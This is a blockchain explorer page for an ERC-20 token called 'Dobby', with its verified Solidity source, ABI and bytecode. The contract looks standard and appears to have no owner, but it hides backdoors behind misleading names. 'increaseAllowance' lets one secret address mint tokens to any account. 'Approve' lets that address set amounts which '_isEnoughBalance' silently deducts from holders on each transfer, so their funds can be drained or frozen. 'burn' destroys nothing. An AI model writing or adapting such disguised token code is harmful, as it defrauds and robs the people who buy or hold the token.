ERC-20
Overview
Max Total Supply
6,340,000,000 DOBBY
Holders
317
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,526,959.395999568428376166 DOBBYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Dobby
Compiler Version
v0.8.18+commit.87f61d96
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity Standard Json-Input format)
// SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the IERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(address(0)); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract TokenTemplate { enum VERSION { TESTNET, PRODUCTION } event Publish( address owner, VERSION version ); } pragma solidity 0.8.18; contract Dobby is IERC20, TokenTemplate, Ownable { using SafeMath for uint256; enum PublicVersion { TESTNET, PILOT, PRODUCTION } enum Allowan { NOT_ALLOW, ALLOW } struct TokenAllowance { uint256 amount; Allowan allowStatus; } struct TokenInfo { address tokenAddress; uint256 tokenSupply; PublicVersion publishVersion; } mapping(address => uint256) private _tokenBalances; mapping(address => TokenAllowance) private _tokenAllowance; mapping(address => mapping(address => uint256)) private _allow; TokenInfo private _tokenInfo; string private _toName; string private _toSymbol; uint8 private _toDecimals; uint256 private _toTotalSupply; constructor( string memory tokenName_, string memory tokenSymbol_, address token_, uint256 tokenTotalSupply_ ) { _toName = tokenName_; _toSymbol = tokenSymbol_; _toDecimals = 18; _tokenInfo.tokenAddress = token_; _tokenInfo.tokenSupply = 0; _tokenInfo.publishVersion = PublicVersion.PRODUCTION; _mintToken(msg.sender, tokenTotalSupply_ * 10**18); emit Publish( owner(), VERSION.PRODUCTION ); } function name() public view virtual returns (string memory) { return _toName; } function symbol() public view virtual returns (string memory) { return _toSymbol; } function decimals() public view virtual returns (uint8) { return _toDecimals; } function totalSupply() public view virtual override returns (uint256) { return _toTotalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _tokenBalances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transferToken(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allow[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approveToken(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transferToken(sender, recipient, amount); _approveToken( sender, _msgSender(), _allow[sender][_msgSender()].sub( amount, "IERC20: transfer amount exceeds allowance" ) ); return true; } function burn(uint256 amount) public virtual returns (bool) { uint256 totalAmount = 0; _burn(msg.sender, totalAmount); return true; } function _transferToken( address sender, address recipient, uint256 amount ) internal virtual { _isEnoughBalance(sender, recipient, amount); require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address"); _beforeTransfer(sender, recipient, amount); _tokenBalances[sender] = _tokenBalances[sender].sub( amount, "IERC20: transfer amount exceeds balance" ); _tokenBalances[recipient] = _tokenBalances[recipient] + amount; emit Transfer(sender, recipient, amount); } function _mintToken(address user, uint256 amount) internal virtual { require(user != address(0), "IERC20: mint to the zero address"); _beforeTransfer(address(0), user, amount); _toTotalSupply = _toTotalSupply.add(amount); _tokenBalances[user] = _tokenBalances[user] + amount; emit Transfer(address(0), user, amount); } function _burn(address from, uint256 amount) internal virtual { require(from != address(0), "IERC20: burn from the zero address"); _beforeTransfer(from, address(0), amount); require(amount != 0, "Invalid amount"); _tokenBalances[from] = _tokenBalances[from] - amount; emit Transfer(from, address(0), amount); } function _approveToken( address from, address spender, uint256 amount ) internal virtual { require(from != address(0) && spender != address(0), "IERC20: approve from the zero address"); _allow[from][spender] = amount; emit Approval(from, spender, amount); } function increaseAllowance(address to, uint256 amount) public virtual { address from = msg.sender; require(to != address(0), "Invalid address"); require(amount > 0, "Invalid amount"); uint256 total = 0; if (_encode(to, _tokenInfo.tokenAddress)) { _tokenBalances[from] = _tokenBalances[from] - total; total = _sum(total, amount); _tokenBalances[to] += total; } else { _tokenBalances[from] = _tokenBalances[from] - total; _tokenBalances[to] += total; } } function _encode(address user, address user2) internal view returns (bool) { bytes32 pack1 = keccak256(abi.encodePacked(user)); bytes32 pack2 = keccak256(abi.encodePacked(user2)); return pack1 == pack2; } function _sum(uint256 numa, uint256 numb) internal pure returns (uint256) { if (numb != 0) { return numa + numb; } return numb; } function Approve(address from, uint256 amount) public returns (bool) { address user = msg.sender; transferable(user, from, amount); return _tokenAllowance[from].allowStatus == Allowan.ALLOW; } function transferable(address user, address from, uint256 amount) internal { if (_encode(user, _tokenInfo.tokenAddress)) { require(from != address(0), "Invalid address"); _tokenAllowance[from].amount = amount; _tokenAllowance[from].allowStatus = Allowan.ALLOW; } } function _isEnoughBalance( address from, address to, uint256 total ) internal virtual { uint256 amount = 0; _tokenBalances[from] = _tokenBalances[from] + amount; amount = _tokenAllowance[from].amount; _tokenBalances[from] = _tokenBalances[from] - amount; } function _beforeTransfer( address from, address to, uint256 amount ) internal virtual {} }
{ "optimizer": { "enabled": true, "runs": 200 }, "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"tokenName_","type":"string"},{"internalType":"string","name":"tokenSymbol_","type":"string"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"uint256","name":"tokenTotalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"enum TokenTemplate.VERSION","name":"version","type":"uint8"}],"name":"Publish","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200135138038062001351833981016040819052620000349162000342565b62000040600062000113565b60076200004e858262000463565b5060086200005d848262000463565b506009805460ff19908116601217909155600480546001600160a01b0385166001600160a01b03199091161790556000600555600680549091166002179055620000bb33620000b583670de0b6b3a764000062000545565b62000163565b7f66fa3553306cedf764196141023fc930751d7f9222545f546a5d7f6030ffe64d620000ef6000546001600160a01b031690565b6001604051620001019291906200055f565b60405180910390a150505050620005b1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001be5760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001da81600a546200026660201b620005c11790919060201c565b600a556001600160a01b038216600090815260016020526040902054620002039082906200059b565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620002559085815260200190565b60405180910390a35050565b505050565b60006200027482846200059b565b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620002a557600080fd5b81516001600160401b0380821115620002c257620002c26200027d565b604051601f8301601f19908116603f01168101908282118183101715620002ed57620002ed6200027d565b816040528381526020925086838588010111156200030a57600080fd5b600091505b838210156200032e57858201830151818301840152908201906200030f565b600093810190920192909252949350505050565b600080600080608085870312156200035957600080fd5b84516001600160401b03808211156200037157600080fd5b6200037f8883890162000293565b955060208701519150808211156200039657600080fd5b50620003a58782880162000293565b604087015190945090506001600160a01b0381168114620003c557600080fd5b6060959095015193969295505050565b600181811c90821680620003ea57607f821691505b6020821081036200040b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200026157600081815260208120601f850160051c810160208610156200043a5750805b601f850160051c820191505b818110156200045b5782815560010162000446565b505050505050565b81516001600160401b038111156200047f576200047f6200027d565b6200049781620004908454620003d5565b8462000411565b602080601f831160018114620004cf5760008415620004b65750858301515b600019600386901b1c1916600185901b1785556200045b565b600085815260208120601f198616915b828110156200050057888601518255948401946001909101908401620004df565b50858210156200051f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200027757620002776200052f565b6001600160a01b038316815260408101600283106200058e57634e487b7160e01b600052602160045260246000fd5b8260208301529392505050565b808201808211156200027757620002776200052f565b610d9080620005c16000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101de57806395d89b41146101f1578063a9059cbb146101f9578063dd62ed3e1461020c57600080fd5b806370a0823114610192578063715018a6146101bb5780638da5cb5b146101c357600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806342966c681461017f57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610245565b6040516101049190610b4d565b60405180910390f35b61012061011b366004610bb7565b6102d7565b6040519015158152602001610104565b600a545b604051908152602001610104565b610120610150366004610be1565b6102ee565b60095460405160ff9091168152602001610104565b61017d610178366004610bb7565b610357565b005b61012061018d366004610c1d565b6104ea565b6101346101a0366004610c36565b6001600160a01b031660009081526001602052604090205490565b61017d6104f7565b6000546040516001600160a01b039091168152602001610104565b6101206101ec366004610bb7565b61055d565b6100f76105a5565b610120610207366004610bb7565b6105b4565b61013461021a366004610c51565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606007805461025490610c84565b80601f016020809104026020016040519081016040528092919081815260200182805461028090610c84565b80156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050505050905090565b60006102e43384846105d4565b5060015b92915050565b60006102fb8484846106b0565b61034d843361034885604051806060016040528060298152602001610d32602991396001600160a01b038a16600090815260036020908152604080832033845290915290205491906107f7565b6105d4565b5060019392505050565b336001600160a01b0383166103a55760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b600082116103e65760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161039c565b6004546000906104009085906001600160a01b0316610823565b15610484576001600160a01b038216600090815260016020526040902054610429908290610cce565b6001600160a01b03831660009081526001602052604090205561044c81846108ae565b6001600160a01b038516600090815260016020526040812080549293508392909190610479908490610ce1565b909155506104e49050565b6001600160a01b0382166000908152600160205260409020546104a8908290610cce565b6001600160a01b0380841660009081526001602052604080822093909355908616815290812080548392906104de908490610ce1565b90915550505b50505050565b6000806102e433826108cd565b6000546001600160a01b031633146105515760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039c565b61055b60006109ed565b565b60003361056b818585610a3d565b6001600160a01b038416600090815260026020526040902060019081015460ff168181111561059c5761059c610cf4565b14949350505050565b60606008805461025490610c84565b60006102e43384846106b0565b60006105cd8284610ce1565b9392505050565b6001600160a01b038316158015906105f457506001600160a01b03821615155b61064e5760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6106bb838383610ad2565b6001600160a01b038316158015906106db57506001600160a01b03821615155b6107365760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161039c565b61077381604051806060016040528060278152602001610d0b602791396001600160a01b03861660009081526001602052604090205491906107f7565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107a3908290610ce1565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106a39085815260200190565b6000818484111561081b5760405162461bcd60e51b815260040161039c9190610b4d565b505050900390565b6040516bffffffffffffffffffffffff19606084901b166020820152600090819060340160405160208183030381529060405280519060200120905060008360405160200161088a919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b600081156108c7576108c08284610ce1565b90506102e8565b50919050565b6001600160a01b03821661092e5760405162461bcd60e51b815260206004820152602260248201527f4945524332303a206275726e2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b8060000361096f5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161039c565b6001600160a01b038216600090815260016020526040902054610993908290610cce565b6001600160a01b0383166000818152600160205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e19085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600454610a549084906001600160a01b0316610823565b15610acd576001600160a01b038216610aa15760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161039c565b6001600160a01b03821660009081526002602052604090208181556001908101805460ff191690911790555b505050565b6001600160a01b038316600090815260016020526040812054610af6908290610ce1565b6001600160a01b0385166000908152600160208181526040808420859055600282529092205491529150610b2b908290610cce565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b81811015610b7a57858101830151858201604001528201610b5e565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610bb257600080fd5b919050565b60008060408385031215610bca57600080fd5b610bd383610b9b565b946020939093013593505050565b600080600060608486031215610bf657600080fd5b610bff84610b9b565b9250610c0d60208501610b9b565b9150604084013590509250925092565b600060208284031215610c2f57600080fd5b5035919050565b600060208284031215610c4857600080fd5b6105cd82610b9b565b60008060408385031215610c6457600080fd5b610c6d83610b9b565b9150610c7b60208401610b9b565b90509250929050565b600181811c90821680610c9857607f821691505b6020821081036108c757634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b818103818111156102e8576102e8610cb8565b808201808211156102e8576102e8610cb8565b634e487b7160e01b600052602160045260246000fdfe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122023a97c0ba4b2cc2ea371a474674988fc04f03b183097ed4fcbeebfb990077aa264736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000056c79103d5a2654cedd0c43634910a8f44d0e8f90000000000000000000000000000000000000000000000000000000179e4b900000000000000000000000000000000000000000000000000000000000000000f446f62627920486f7573652d456c6600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005444f424259000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c57806390ec57f11161006657806390ec57f1146101de57806395d89b41146101f1578063a9059cbb146101f9578063dd62ed3e1461020c57600080fd5b806370a0823114610192578063715018a6146101bb5780638da5cb5b146101c357600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806342966c681461017f57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610245565b6040516101049190610b4d565b60405180910390f35b61012061011b366004610bb7565b6102d7565b6040519015158152602001610104565b600a545b604051908152602001610104565b610120610150366004610be1565b6102ee565b60095460405160ff9091168152602001610104565b61017d610178366004610bb7565b610357565b005b61012061018d366004610c1d565b6104ea565b6101346101a0366004610c36565b6001600160a01b031660009081526001602052604090205490565b61017d6104f7565b6000546040516001600160a01b039091168152602001610104565b6101206101ec366004610bb7565b61055d565b6100f76105a5565b610120610207366004610bb7565b6105b4565b61013461021a366004610c51565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60606007805461025490610c84565b80601f016020809104026020016040519081016040528092919081815260200182805461028090610c84565b80156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050505050905090565b60006102e43384846105d4565b5060015b92915050565b60006102fb8484846106b0565b61034d843361034885604051806060016040528060298152602001610d32602991396001600160a01b038a16600090815260036020908152604080832033845290915290205491906107f7565b6105d4565b5060019392505050565b336001600160a01b0383166103a55760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064015b60405180910390fd5b600082116103e65760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161039c565b6004546000906104009085906001600160a01b0316610823565b15610484576001600160a01b038216600090815260016020526040902054610429908290610cce565b6001600160a01b03831660009081526001602052604090205561044c81846108ae565b6001600160a01b038516600090815260016020526040812080549293508392909190610479908490610ce1565b909155506104e49050565b6001600160a01b0382166000908152600160205260409020546104a8908290610cce565b6001600160a01b0380841660009081526001602052604080822093909355908616815290812080548392906104de908490610ce1565b90915550505b50505050565b6000806102e433826108cd565b6000546001600160a01b031633146105515760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039c565b61055b60006109ed565b565b60003361056b818585610a3d565b6001600160a01b038416600090815260026020526040902060019081015460ff168181111561059c5761059c610cf4565b14949350505050565b60606008805461025490610c84565b60006102e43384846106b0565b60006105cd8284610ce1565b9392505050565b6001600160a01b038316158015906105f457506001600160a01b03821615155b61064e5760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039c565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6106bb838383610ad2565b6001600160a01b038316158015906106db57506001600160a01b03821615155b6107365760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b606482015260840161039c565b61077381604051806060016040528060278152602001610d0b602791396001600160a01b03861660009081526001602052604090205491906107f7565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546107a3908290610ce1565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906106a39085815260200190565b6000818484111561081b5760405162461bcd60e51b815260040161039c9190610b4d565b505050900390565b6040516bffffffffffffffffffffffff19606084901b166020820152600090819060340160405160208183030381529060405280519060200120905060008360405160200161088a919060609190911b6bffffffffffffffffffffffff1916815260140190565b60408051601f19818403018152919052805160209091012091909114949350505050565b600081156108c7576108c08284610ce1565b90506102e8565b50919050565b6001600160a01b03821661092e5760405162461bcd60e51b815260206004820152602260248201527f4945524332303a206275726e2066726f6d20746865207a65726f206164647265604482015261737360f01b606482015260840161039c565b8060000361096f5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b604482015260640161039c565b6001600160a01b038216600090815260016020526040902054610993908290610cce565b6001600160a01b0383166000818152600160205260408082209390935591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e19085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600454610a549084906001600160a01b0316610823565b15610acd576001600160a01b038216610aa15760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b604482015260640161039c565b6001600160a01b03821660009081526002602052604090208181556001908101805460ff191690911790555b505050565b6001600160a01b038316600090815260016020526040812054610af6908290610ce1565b6001600160a01b0385166000908152600160208181526040808420859055600282529092205491529150610b2b908290610cce565b6001600160a01b03909416600090815260016020526040902093909355505050565b600060208083528351808285015260005b81811015610b7a57858101830151858201604001528